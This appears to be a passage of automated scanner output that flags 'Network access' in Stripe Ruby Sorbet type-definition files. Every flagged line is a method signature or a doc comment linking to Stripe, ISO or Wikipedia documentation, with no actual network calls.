    def initiating_payment_method_details=(_initiating_payment_method_details); end         # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/trea
  • Network accessline 84
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/received_debit_create_params.rbi

  • Network accessline 53
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
  • Network accessline 54
    def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 55
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 82
    }         def initiating_payment_method_details=(_initiating_payment_method_details); end         # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.strip
  • Network accessline 83
    def initiating_payment_method_details=(_initiating_payment_method_details); end         # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/trea
  • Network accessline 84
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/token_create_params.rbi

  • Network accessline 13
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 33
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 34
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 35
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 56
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 57
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 58
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 105
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 106
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 107
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 232
    class Verification < ::Stripe::RequestParams           class Document < ::Stripe::RequestParams             # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verif
  • Network accessline 233
    class Document < ::Stripe::RequestParams             # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (
  • Network accessline 234
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF
  • Network accessline 237
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }             def back=(_back); end             # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additiona
  • Network accessline 238
    def back=(_back); end             # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000
  • Network accessline 239
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD
  • Network accessline 339
    }         def ownership_declaration_shown_and_signed=(_ownership_declaration_shown_and_signed); end         # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](http
  • Network accessline 340
    def ownership_declaration_shown_and_signed=(_ownership_declaration_shown_and_signed); end         # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://suppor
  • Network accessline 341
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 438
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 439
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 440
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 458
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 459
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 460
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 481
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 482
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 483
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 530
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 531
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 532
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 598
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 599
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 600
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 618
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 619
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 620
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 676
    class Verification < ::Stripe::RequestParams           class AdditionalDocument < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_do
  • Network accessline 677
    class AdditionalDocument < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s
  • Network accessline 678
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 681
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }             def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum
  • Network accessline 682
    def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000
  • Network accessline 683
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 690
    end           class Document < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color imag
  • Network accessline 691
    class Document < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller tha
  • Network accessline 692
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 695
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }             def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum
  • Network accessline 696
    def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000
  • Network accessline 697
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 814
    sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) }         def maiden_name=(_maiden_name); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be us
  • Network accessline 815
    def maiden_name=(_maiden_name); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 816
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 946
    sig { params(_country: String).returns(String) }       def country=(_country); end       # The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts)
  • Network accessline 947
    def country=(_country); end       # The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts)       sig { returns(T.nilable(String)) }
  • Network accessline 948
    # The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts)
  • Network accessline 1121
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1122
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1123
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1141
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1142
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1143
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1164
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1165
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1166
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1213
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1214
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1215
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1277
    class Documents < ::Stripe::RequestParams         class CompanyAuthorization < ::Stripe::RequestParams           # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_r
  • Network accessline 1278
    class CompanyAuthorization < ::Stripe::RequestParams           # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.           sig { returns(T.nilable(T::
  • Network accessline 1279
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1286
    end         class Passport < ::Stripe::RequestParams           # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1287
    class Passport < ::Stripe::RequestParams           # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.           sig { returns(T.nilable(T::Array[String
  • Network accessline 1288
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1295
    end         class Visa < ::Stripe::RequestParams           # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1296
    class Visa < ::Stripe::RequestParams           # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.           sig { returns(T.nilable(T::Array[String])) 
  • Network accessline 1297
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1335
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1336
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1337
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1355
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1356
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1357
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1488
    class Verification < ::Stripe::RequestParams         class AdditionalDocument < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docume
  • Network accessline 1489
    class AdditionalDocument < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (sma
  • Network accessline 1490
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1493
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`
  • Network accessline 1494
    def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px
  • Network accessline 1495
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1502
    end         class Document < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s
  • Network accessline 1503
    class Document < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 
  • Network accessline 1504
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1507
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`
  • Network accessline 1508
    def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px
  • Network accessline 1509
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1608
    sig { params(_gender: T.nilable(String)).returns(T.nilable(String)) }       def gender=(_gender); end       # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance numb
  • Network accessline 1609
    def gender=(_gender); end       # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII
  • Network accessline 1610
    # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht
  • Network accessline 1613
    sig { params(_id_number: T.nilable(String)).returns(T.nilable(String)) }       def id_number=(_id_number); end       # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Tha
  • Network accessline 1614
    def id_number=(_id_number); end       # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of
  • Network accessline 1615
    # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi
  • Network accessline 1638
    sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) }       def maiden_name=(_maiden_name); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful
  • Network accessline 1639
    def maiden_name=(_maiden_name); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 1640
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1645
    }       def metadata=(_metadata); end       # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 1646
    def metadata=(_metadata); end       # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.       sig { returns(T.nilable(String
  • Network accessline 1647
    # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 1756
    }     def card=(_card); end     # Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header]
  • Network accessline 1757
    def card=(_card); end     # Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header](https
  • Network accessline 1758
    # Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header](https://docs.stripe.com/connect

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/topup_create_params.rbi

  • Network accessline 10
    sig { params(_amount: Integer).returns(Integer) }     def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
  • Network accessline 11
    def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 25
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 26
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 27
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 32
    }     def metadata=(_metadata); end     # The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, 
  • Network accessline 33
    def metadata=(_metadata); end     # The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, this c
  • Network accessline 34
    # The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, this can be a test bank token (see [Test

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/topup_update_params.rbi

  • Network accessline 15
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 16
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 17
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_create_params.rbi

  • Network accessline 10
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }     def amount=(_amount); end     # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](
  • Network accessline 11
    def amount=(_amount); end     # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies).     sig { returns(String) }
  • Network accessline 12
    # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies).
  • Network accessline 30
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 31
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 32
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 37
    }     def metadata=(_metadata); end     # You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until 
  • Network accessline 38
    def metadata=(_metadata); end     # You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until the or
  • Network accessline 39
    # You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until the original charge becomes available. [
  • Network accessline 47
    sig { params(_source_type: T.nilable(String)).returns(T.nilable(String)) }     def source_type=(_source_type); end     # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/c
  • Network accessline 48
    def source_type=(_source_type); end     # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.     sig { 
  • Network accessline 49
    # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_create_params.rbi

  • Network accessline 20
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 21
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 22
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_update_params.rbi

  • Network accessline 10
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 11
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_update_params.rbi

  • Network accessline 15
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 16
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 17
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/credit_reversal_create_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 12
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 13
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/debit_reversal_create_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 12
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 13
